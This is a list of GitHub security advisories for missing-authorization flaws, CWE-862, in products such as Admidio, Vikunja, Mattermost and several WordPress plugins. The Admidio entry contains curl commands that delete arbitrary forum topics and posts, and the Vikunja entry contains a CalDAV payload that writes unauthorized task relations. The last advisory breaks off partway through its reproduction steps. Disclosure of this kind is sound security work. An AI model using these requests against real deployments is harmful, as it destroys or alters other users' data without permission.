CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
18003 vulnerabilities reference this CWE, most recent first.
GHSA-G34V-99HM-JJ22
Vulnerability from github – Published: 2026-10-11 00:30 – Updated: 2026-10-11 00:30JeecgBoot through 3.9.5 contains a missing authorization vulnerability in the deleteBatch handler of AiragPromptsController that allows any authenticated user to delete AI prompt templates. Low-privileged attackers can obtain prompt ids from the unguarded list endpoint and pass them to deleteBatch to remove templates created by administrators or other users.
{
"affected": [],
"aliases": [
"CVE-2026-108666"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-10T22:16:43Z",
"severity": "MODERATE"
},
"details": "JeecgBoot through 3.9.5 contains a missing authorization vulnerability in the deleteBatch handler of AiragPromptsController that allows any authenticated user to delete AI prompt templates. Low-privileged attackers can obtain prompt ids from the unguarded list endpoint and pass them to deleteBatch to remove templates created by administrators or other users.",
"id": "GHSA-g34v-99hm-jj22",
"modified": "2026-10-11T00:30:59Z",
"published": "2026-10-11T00:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108666"
},
{
"type": "WEB",
"url": "https://github.com/AnkesKasty/cve-request-poc/blob/a7b6d1423555812d8efa26c91c5d0683164b31e5/JeecgBoot/poc_airag_prompts_delete_batch.py"
},
{
"type": "WEB",
"url": "https://github.com/jeecgboot/JeecgBoot/blob/e3b9dc0aefe1943d9772b026f64ed671a7c82802/jeecg-boot/jeecg-boot-module/jeecg-boot-module-airag/src/main/java/org/jeecg/modules/airag/prompts/controller/AiragPromptsController.java#L131-L137"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/jeecgboot-through-3.9.5-missing-authorization-via-airag-prompts-deletebatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G35P-QGFM-W6V2
Vulnerability from github – Published: 2026-02-03 15:30 – Updated: 2026-02-03 18:30Missing Authorization vulnerability in gfazioli WP Bannerize Pro wp-bannerize-pro allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Bannerize Pro: from n/a through <= 1.11.0.
{
"affected": [],
"aliases": [
"CVE-2026-25012"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-03T15:16:19Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in gfazioli WP Bannerize Pro wp-bannerize-pro allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Bannerize Pro: from n/a through \u003c= 1.11.0.",
"id": "GHSA-g35p-qgfm-w6v2",
"modified": "2026-02-03T18:30:43Z",
"published": "2026-02-03T15:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25012"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wp-bannerize-pro/vulnerability/wordpress-wp-bannerize-pro-plugin-1-11-0-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G375-5WMP-XR78
Vulnerability from github – Published: 2026-03-16 21:18 – Updated: 2026-03-20 21:15Summary
The forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the topic_delete and post_delete actions in forum.php only validate the CSRF token but perform no authorization check before calling delete(). Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID.
This is inconsistent with the save/edit operations, which properly check isAdministratorForum() and ownership before allowing modifications.
Details
Vulnerable Code Path 1: Topic Deletion
File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 98-108
The topic_delete handler validates CSRF but never calls $topic->isEditable():
case 'topic_delete':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$topic = new Topic($gDb);
$topic->readDataByUuid($getTopicUUID);
$topic->delete();
echo json_encode(array('status' => 'success'));
break;
The Topic class has an isEditable() method (lines 144-164 of ListConfiguration.php) that properly checks isAdministratorForum() and getAllEditableCategories('FOT'), but it is never called in the delete path.
Vulnerable Code Path 2: Post Deletion
File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 125-134
The post_delete handler also validates CSRF but performs no authorization check:
case 'post_delete':
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$post = new Post($gDb);
$post->readDataByUuid($getPostUUID);
$post->delete();
echo json_encode(array('status' => 'success'));
break;
Contrast with Save Operations (Properly Authorized)
The ForumTopicService::savePost() method in D:\bugcrowd\admidio\repo\src\Forum\Service\ForumTopicService.php lines 117-121 correctly verifies authorization:
if ($postUUID !== '') {
$post->readDataByUuid($postUUID);
if (!$gCurrentUser->isAdministratorForum() && $post->getValue('fop_usr_id_create') !== $gCurrentUser->getValue('usr_id')) {
throw new Exception('You are not allowed to edit this post.');
}
}
The delete operations should have equivalent checks but do not.
Module-Level Access Check
File: D:\bugcrowd\admidio\repo\modules\forum.php, lines 53-59
The only check before the delete operations is the module-level access check:
if ($gSettingsManager->getInt('forum_module_enabled') === 0) {
throw new Exception('SYS_MODULE_DISABLED');
} elseif ($gSettingsManager->getInt('forum_module_enabled') === 1
&& !in_array($getMode, array('cards', 'list', 'topic')) && !$gValidLogin) {
throw new Exception('SYS_NO_RIGHTS');
}
This only ensures the user is logged in for write operations. It does not check whether the user has forum admin rights or is the author of the content being deleted.
PoC
Prerequisites: Two user accounts - a regular logged-in user (attacker) and a forum admin who has created topics and posts.
Step 1: Attacker discovers a topic UUID
The attacker visits any forum topic page. Topic UUIDs are visible in the URL and page source.
Step 2: Attacker deletes the topic (and all its posts)
curl -X POST "https://TARGET/adm_program/modules/forum.php?mode=topic_delete&topic_uuid=<TOPIC_UUID>" \
-H "Cookie: ADMIDIO_SESSION_ID=<attacker_session>" \
-d "adm_csrf_token=<attacker_csrf_token>"
Expected response: {"status":"success"}
The topic and all its posts are permanently deleted from the database.
Step 3: Attacker deletes an individual post
curl -X POST "https://TARGET/adm_program/modules/forum.php?mode=post_delete&post_uuid=<POST_UUID>" \
-H "Cookie: ADMIDIO_SESSION_ID=<attacker_session>" \
-d "adm_csrf_token=<attacker_csrf_token>"
Expected response: {"status":"success"}
Impact
- Data Destruction: Any logged-in user can permanently delete any forum topic (including all associated posts) or any individual post. The
Topic::delete()method cascades and removes all posts belonging to the topic. - Content Integrity: Forum content created by administrators or other authorized users can be destroyed by any regular member.
- No Undo: The deletion is permanent. There is no soft-delete or trash mechanism. The only recovery would be from database backups.
- Low Barrier: The attacker only needs a valid login and the UUID of the target content. UUIDs are visible in forum page URLs and are not secret.
Recommended Fix
Fix 1: Add authorization check to topic_delete
case 'topic_delete':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$topic = new Topic($gDb);
$topic->readDataByUuid($getTopicUUID);
// Add authorization check
if (!$topic->isEditable()) {
throw new Exception('SYS_NO_RIGHTS');
}
$topic->delete();
echo json_encode(array('status' => 'success'));
break;
Fix 2: Add authorization check to post_delete
case 'post_delete':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$post = new Post($gDb);
$post->readDataByUuid($getPostUUID);
// Add authorization check - only forum admins or the post author can delete
if (!$gCurrentUser->isAdministratorForum()
&& (int)$post->getValue('fop_usr_id_create') !== $gCurrentUserId) {
throw new Exception('SYS_NO_RIGHTS');
}
$post->delete();
echo json_encode(array('status' => 'success'));
break;
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.6"
},
"package": {
"ecosystem": "Packagist",
"name": "admidio/admidio"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32818"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T21:18:53Z",
"nvd_published_at": "2026-03-19T23:16:44Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the `topic_delete` and `post_delete` actions in `forum.php` only validate the CSRF token but perform no authorization check before calling `delete()`. Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID.\n\nThis is inconsistent with the save/edit operations, which properly check `isAdministratorForum()` and ownership before allowing modifications.\n\n## Details\n\n### Vulnerable Code Path 1: Topic Deletion\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\forum.php`, lines 98-108\n\nThe topic_delete handler validates CSRF but never calls `$topic-\u003eisEditable()`:\n\n```php\ncase \u0027topic_delete\u0027:\n // check the CSRF token of the form against the session token\n SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n $topic = new Topic($gDb);\n $topic-\u003ereadDataByUuid($getTopicUUID);\n $topic-\u003edelete();\n echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n break;\n```\n\nThe `Topic` class has an `isEditable()` method (lines 144-164 of `ListConfiguration.php`) that properly checks `isAdministratorForum()` and `getAllEditableCategories(\u0027FOT\u0027)`, but it is never called in the delete path.\n\n### Vulnerable Code Path 2: Post Deletion\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\forum.php`, lines 125-134\n\nThe post_delete handler also validates CSRF but performs no authorization check:\n\n```php\ncase \u0027post_delete\u0027:\n // check the CSRF token of the form against the session token\n SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n $post = new Post($gDb);\n $post-\u003ereadDataByUuid($getPostUUID);\n $post-\u003edelete();\n echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n break;\n```\n\n### Contrast with Save Operations (Properly Authorized)\n\nThe `ForumTopicService::savePost()` method in `D:\\bugcrowd\\admidio\\repo\\src\\Forum\\Service\\ForumTopicService.php` lines 117-121 correctly verifies authorization:\n\n```php\nif ($postUUID !== \u0027\u0027) {\n $post-\u003ereadDataByUuid($postUUID);\n if (!$gCurrentUser-\u003eisAdministratorForum() \u0026\u0026 $post-\u003egetValue(\u0027fop_usr_id_create\u0027) !== $gCurrentUser-\u003egetValue(\u0027usr_id\u0027)) {\n throw new Exception(\u0027You are not allowed to edit this post.\u0027);\n }\n}\n```\n\nThe delete operations should have equivalent checks but do not.\n\n### Module-Level Access Check\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\forum.php`, lines 53-59\n\nThe only check before the delete operations is the module-level access check:\n\n```php\nif ($gSettingsManager-\u003egetInt(\u0027forum_module_enabled\u0027) === 0) {\n throw new Exception(\u0027SYS_MODULE_DISABLED\u0027);\n} elseif ($gSettingsManager-\u003egetInt(\u0027forum_module_enabled\u0027) === 1\n \u0026\u0026 !in_array($getMode, array(\u0027cards\u0027, \u0027list\u0027, \u0027topic\u0027)) \u0026\u0026 !$gValidLogin) {\n throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n}\n```\n\nThis only ensures the user is logged in for write operations. It does not check whether the user has forum admin rights or is the author of the content being deleted.\n\n## PoC\n\n**Prerequisites:** Two user accounts - a regular logged-in user (attacker) and a forum admin who has created topics and posts.\n\n**Step 1: Attacker discovers a topic UUID**\n\nThe attacker visits any forum topic page. Topic UUIDs are visible in the URL and page source.\n\n**Step 2: Attacker deletes the topic (and all its posts)**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/forum.php?mode=topic_delete\u0026topic_uuid=\u003cTOPIC_UUID\u003e\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=\u003cattacker_session\u003e\" \\\n -d \"adm_csrf_token=\u003cattacker_csrf_token\u003e\"\n```\n\nExpected response: `{\"status\":\"success\"}`\n\nThe topic and all its posts are permanently deleted from the database.\n\n**Step 3: Attacker deletes an individual post**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/forum.php?mode=post_delete\u0026post_uuid=\u003cPOST_UUID\u003e\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=\u003cattacker_session\u003e\" \\\n -d \"adm_csrf_token=\u003cattacker_csrf_token\u003e\"\n```\n\nExpected response: `{\"status\":\"success\"}`\n\n## Impact\n\n- **Data Destruction:** Any logged-in user can permanently delete any forum topic (including all associated posts) or any individual post. The `Topic::delete()` method cascades and removes all posts belonging to the topic.\n- **Content Integrity:** Forum content created by administrators or other authorized users can be destroyed by any regular member.\n- **No Undo:** The deletion is permanent. There is no soft-delete or trash mechanism. The only recovery would be from database backups.\n- **Low Barrier:** The attacker only needs a valid login and the UUID of the target content. UUIDs are visible in forum page URLs and are not secret.\n\n## Recommended Fix\n\n### Fix 1: Add authorization check to topic_delete\n\n```php\ncase \u0027topic_delete\u0027:\n SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n $topic = new Topic($gDb);\n $topic-\u003ereadDataByUuid($getTopicUUID);\n\n // Add authorization check\n if (!$topic-\u003eisEditable()) {\n throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n }\n\n $topic-\u003edelete();\n echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n break;\n```\n\n### Fix 2: Add authorization check to post_delete\n\n```php\ncase \u0027post_delete\u0027:\n SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n $post = new Post($gDb);\n $post-\u003ereadDataByUuid($getPostUUID);\n\n // Add authorization check - only forum admins or the post author can delete\n if (!$gCurrentUser-\u003eisAdministratorForum()\n \u0026\u0026 (int)$post-\u003egetValue(\u0027fop_usr_id_create\u0027) !== $gCurrentUserId) {\n throw new Exception(\u0027SYS_NO_RIGHTS\u0027);\n }\n\n $post-\u003edelete();\n echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n break;\n```",
"id": "GHSA-g375-5wmp-xr78",
"modified": "2026-03-20T21:15:55Z",
"published": "2026-03-16T21:18:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-g375-5wmp-xr78"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32818"
},
{
"type": "PACKAGE",
"url": "https://github.com/Admidio/admidio"
},
{
"type": "WEB",
"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Admidio is Missing Authorization on Forum Topic and Post Deletion"
}
GHSA-G376-M3H3-MJ4R
Vulnerability from github – Published: 2024-10-29 09:30 – Updated: 2024-11-04 21:25Mattermost versions 9.10.x <= 9.10.2, 9.11.x <= 9.11.1, 9.5.x <= 9.5.9 fail to check that the origin of the message in an integration action matches with the original post metadata which allows an authenticated user to delete an arbitrary post.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.0-20240926115259-20ed58906adc"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-50052"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-29T16:13:12Z",
"nvd_published_at": "2024-10-29T08:15:12Z",
"severity": "MODERATE"
},
"details": "Mattermost versions 9.10.x \u003c= 9.10.2, 9.11.x \u003c= 9.11.1, 9.5.x \u003c= 9.5.9 fail to\u00a0check that the origin of the message in an integration action matches with the original post metadata\u00a0which allows an authenticated user to delete an arbitrary post.",
"id": "GHSA-g376-m3h3-mj4r",
"modified": "2024-11-04T21:25:15Z",
"published": "2024-10-29T09:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50052"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Mattermost server allows authenticated user to delete arbitrary post"
}
GHSA-G38J-7V97-X298
Vulnerability from github – Published: 2026-10-09 20:54 – Updated: 2026-10-09 20:54Summary
Creating a task relation over CalDAV does not run the TaskRelation.CanCreate permission check that the REST API enforces. An attacker can attach a relation to any task whose UID they know, including tasks in projects they have no access to. The identical operation over REST is correctly refused with 403.
Details
persistRelations (pkg/routes/caldav/listStorageProvider.go, ~line 986) resolves the related task with an unscoped UID lookup (models.GetTaskSimpleByUUID) and calls rel.Create(s, a) directly, with no CanCreate check. pkg/caldav/parsing.go maps RELATED-TO;RELTYPE=CHILD to RelationKindSubtask. Because the CalDAV path never invokes the model's permission method, an authenticated user can create a subtask/parent relation between a task they own and an arbitrary victim task identified only by its UID.
Task UIDs are json:"-" (never exposed over REST) but are exposed over CalDAV to anyone who has ever had read access to the containing project. Revoking that access does not unlearn the UID, so the realistic attacker is a removed collaborator.
This write primitive also feeds the cross-project subtask-disclosure issue (GHSA-3hc7-r24j-rpwc): it lets an attacker create the very cross-project subtask edge that read path leaks across, removing that finding's "the attacker cannot create one to a project they can't access" precondition.
A secondary effect of the same unchecked path: the createDummy branch can Create a task unchecked when the referenced UID does not resolve.
PoC (verified at runtime against v2.5.0, commit c775a6c8)
Baseline control — REST refuses:
PUT /api/v1/tasks/{attackerTask}/relations (attacker JWT)
{"task_id":{attackerTask},"other_task_id":{victimTask},"relation_kind":"subtask"}
-> HTTP 403 Forbidden
Exploit — CalDAV succeeds:
PUT /dav/projects/{attackerProject}/{attackerTaskUID}.ics (BasicAuth attacker)
BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VTODO
UID:{attackerTaskUID}
RELATED-TO;RELTYPE=CHILD:{victimTaskUID}
END:VTODO
END:VCALENDAR
-> HTTP 201
Result: a task_relations row is written with task_id={victimTask}, relation_kind=parenttask, created_by_id={attacker} — a persisted, attacker-attributable write onto a task in a project the attacker cannot access.
Impact
Broken access control (missing authorization) on relation creation. An attacker can pollute the relation set of arbitrary tasks by UID and create the cross-project edges that enable subtask disclosure. Read of the related task's contents still requires the separate disclosure path; this finding is the unauthorized write.
Fix
Route CalDAV relation creation through TaskRelation.CanCreate, and scope the UID lookup to projects the caller can access.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.5.0"
},
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T20:54:43Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nCreating a task relation over CalDAV does not run the `TaskRelation.CanCreate` permission check that the REST API enforces. An attacker can attach a relation to any task whose UID they know, including tasks in projects they have no access to. The identical operation over REST is correctly refused with 403.\n\n### Details\n`persistRelations` (`pkg/routes/caldav/listStorageProvider.go`, ~line 986) resolves the related task with an **unscoped** UID lookup (`models.GetTaskSimpleByUUID`) and calls `rel.Create(s, a)` directly, with no `CanCreate` check. `pkg/caldav/parsing.go` maps `RELATED-TO;RELTYPE=CHILD` to `RelationKindSubtask`. Because the CalDAV path never invokes the model\u0027s permission method, an authenticated user can create a subtask/parent relation between a task they own and an arbitrary victim task identified only by its UID.\n\nTask UIDs are `json:\"-\"` (never exposed over REST) but are exposed over CalDAV to anyone who has ever had read access to the containing project. Revoking that access does not unlearn the UID, so the realistic attacker is a removed collaborator.\n\nThis write primitive also feeds the cross-project subtask-disclosure issue (GHSA-3hc7-r24j-rpwc): it lets an attacker create the very cross-project subtask edge that read path leaks across, removing that finding\u0027s \"the attacker cannot create one to a project they can\u0027t access\" precondition.\n\nA secondary effect of the same unchecked path: the `createDummy` branch can `Create` a task unchecked when the referenced UID does not resolve.\n\n### PoC (verified at runtime against v2.5.0, commit c775a6c8)\nBaseline control \u2014 REST refuses:\n```\nPUT /api/v1/tasks/{attackerTask}/relations (attacker JWT)\n{\"task_id\":{attackerTask},\"other_task_id\":{victimTask},\"relation_kind\":\"subtask\"}\n-\u003e HTTP 403 Forbidden\n```\nExploit \u2014 CalDAV succeeds:\n```\nPUT /dav/projects/{attackerProject}/{attackerTaskUID}.ics (BasicAuth attacker)\nBEGIN:VCALENDAR\nVERSION:2.0\nBEGIN:VTODO\nUID:{attackerTaskUID}\nRELATED-TO;RELTYPE=CHILD:{victimTaskUID}\nEND:VTODO\nEND:VCALENDAR\n-\u003e HTTP 201\n```\nResult: a `task_relations` row is written with `task_id={victimTask}`, `relation_kind=parenttask`, `created_by_id={attacker}` \u2014 a persisted, attacker-attributable write onto a task in a project the attacker cannot access.\n\n### Impact\nBroken access control (missing authorization) on relation creation. An attacker can pollute the relation set of arbitrary tasks by UID and create the cross-project edges that enable subtask disclosure. Read of the related task\u0027s contents still requires the separate disclosure path; this finding is the unauthorized **write**.\n\n### Fix\nRoute CalDAV relation creation through `TaskRelation.CanCreate`, and scope the UID lookup to projects the caller can access.",
"id": "GHSA-g38j-7v97-x298",
"modified": "2026-10-09T20:54:43Z",
"published": "2026-10-09T20:54:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-g38j-7v97-x298"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/pull/3688"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/commit/077dc4de79ce6f1ab59215a2c7bf9b30423685f2"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vikunja: CalDAV relation creation bypasses TaskRelation.CanCreate, allowing an unauthorized write into any task by known UID"
}
GHSA-G3C3-Q2FM-F7G4
Vulnerability from github – Published: 2026-05-01 15:30 – Updated: 2026-05-01 15:30The Total Upkeep – WordPress Backup Plugin plus Restore & Migrate by BoldGrid plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'wp_ajax_cli_cancel' function in all versions up to, and including, 1.17.1. This makes it possible for unauthenticated attackers to cancel a pending rollback, potentially preventing a WordPress installation from automatically reverting a failed update.
{
"affected": [],
"aliases": [
"CVE-2026-3143"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-01T14:16:22Z",
"severity": "MODERATE"
},
"details": "The Total Upkeep \u2013 WordPress Backup Plugin plus Restore \u0026 Migrate by BoldGrid plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the \u0027wp_ajax_cli_cancel\u0027 function in all versions up to, and including, 1.17.1. This makes it possible for unauthenticated attackers to cancel a pending rollback, potentially preventing a WordPress installation from automatically reverting a failed update.",
"id": "GHSA-g3c3-q2fm-f7g4",
"modified": "2026-05-01T15:30:33Z",
"published": "2026-05-01T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3143"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/boldgrid-backup/trunk/admin/class-boldgrid-backup-admin-auto-rollback.php#L1202"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/boldgrid-backup/trunk/admin/class-boldgrid-backup-admin-core.php#L864"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/boldgrid-backup/trunk/includes/class-boldgrid-backup.php#L459"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3480378"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f25dcd7e-8fb1-471e-bd22-782409de45c4?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G3C7-95HC-GV66
Vulnerability from github – Published: 2025-06-03 18:30 – Updated: 2025-06-04 15:30An arbitrary file upload vulnerability in the component /server/executeExec of JEHC-BPM v2.0.1 allows attackers to execute arbitrary code via uploading a crafted file.
{
"affected": [],
"aliases": [
"CVE-2025-45854"
],
"database_specific": {
"cwe_ids": [
"CWE-434",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-03T16:15:25Z",
"severity": "CRITICAL"
},
"details": "An arbitrary file upload vulnerability in the component /server/executeExec of JEHC-BPM v2.0.1 allows attackers to execute arbitrary code via uploading a crafted file.",
"id": "GHSA-g3c7-95hc-gv66",
"modified": "2025-06-04T15:30:35Z",
"published": "2025-06-03T18:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-45854"
},
{
"type": "WEB",
"url": "https://gist.github.com/Cafe-Tea/bc14b38f4bfd951de2979a24c3358460"
},
{
"type": "WEB",
"url": "https://gitee.com/jehc/JEHC-BPM"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20250604134020/https://gist.github.com/Cafe-Tea/bc14b38f4bfd951de2979a24c3358460/revisions"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G3F6-Q6V9-W2G7
Vulnerability from github – Published: 2024-11-01 15:31 – Updated: 2024-11-01 15:31Missing Authorization vulnerability in WPClever WPC Frequently Bought Together for WooCommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPC Frequently Bought Together for WooCommerce: from n/a through 7.1.9.
{
"affected": [],
"aliases": [
"CVE-2024-43312"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-01T15:15:46Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in WPClever WPC Frequently Bought Together for WooCommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPC Frequently Bought Together for WooCommerce: from n/a through 7.1.9.",
"id": "GHSA-g3f6-q6v9-w2g7",
"modified": "2024-11-01T15:31:59Z",
"published": "2024-11-01T15:31:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43312"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/woo-bought-together/wordpress-wpc-frequently-bought-together-for-woocommerce-plugin-7-1-9-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G3F9-G5VJ-P62F
Vulnerability from github – Published: 2026-09-11 21:29 – Updated: 2026-09-11 21:29Title
Unauthorized inventory stock manipulation via unlocked variant property in VariantStock component
Description
A lack of authorization control was discovered in the stockAction() method in packages/admin/src/Livewire/Components/Products/VariantStock.php. The component exposes a public $variant property without the #[Locked] attribute, so the variant ID is client-mutable via the Livewire wire payload. The stockAction() returns an Action with no ->authorize(...) chain, meaning any authenticated admin-panel session, including browse-only staff who hold zero edit permissions, can call this action to adjust inventory levels for any product variant. The combination of missing authorization and an unlocked model binding lets the attacker both bypass the permission gate and redirect the mutation to an arbitrary variant in the database.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)
Affected files
packages/admin/src/Livewire/Components/Products/VariantStock.php:34-91
// Line 34 - unprotected, client-mutable variant binding
public $variant;
// Lines 36-91 - no ->authorize(...) on the Action
public function stockAction(): Action
{
return Action::make('stock')
->label(__('shopper::forms.actions.update'))
->color('gray')
->icon(Untitledui::Package)
->modalHeading(__('shopper::pages/products.modals.variants.title'))
->modalWidth(Width::Large)
->schema([
Select::make('inventory')
->label(__('shopper::pages/products.inventory_name'))
->options(Inventory::query()->pluck('name', 'id'))
->native(false)
->required(),
TextInput::make('quantity')
->label(__('shopper::forms.label.quantity'))
->placeholder('-10 or -5 or 50, etc')
->numeric()
->required(),
])
->action(function (array $data): void {
// ...calls $this->variant->mutateStock(...) or decreaseStock(...)
// with no permission check anywhere in this path
});
}
Steps to reproduce
Prerequisites: an admin-panel account with any role (including a role that holds only browse_products or browse_orders). No edit_product_variants permission is required.
# Step 1: Log in and obtain a session cookie and Livewire CSRF token.
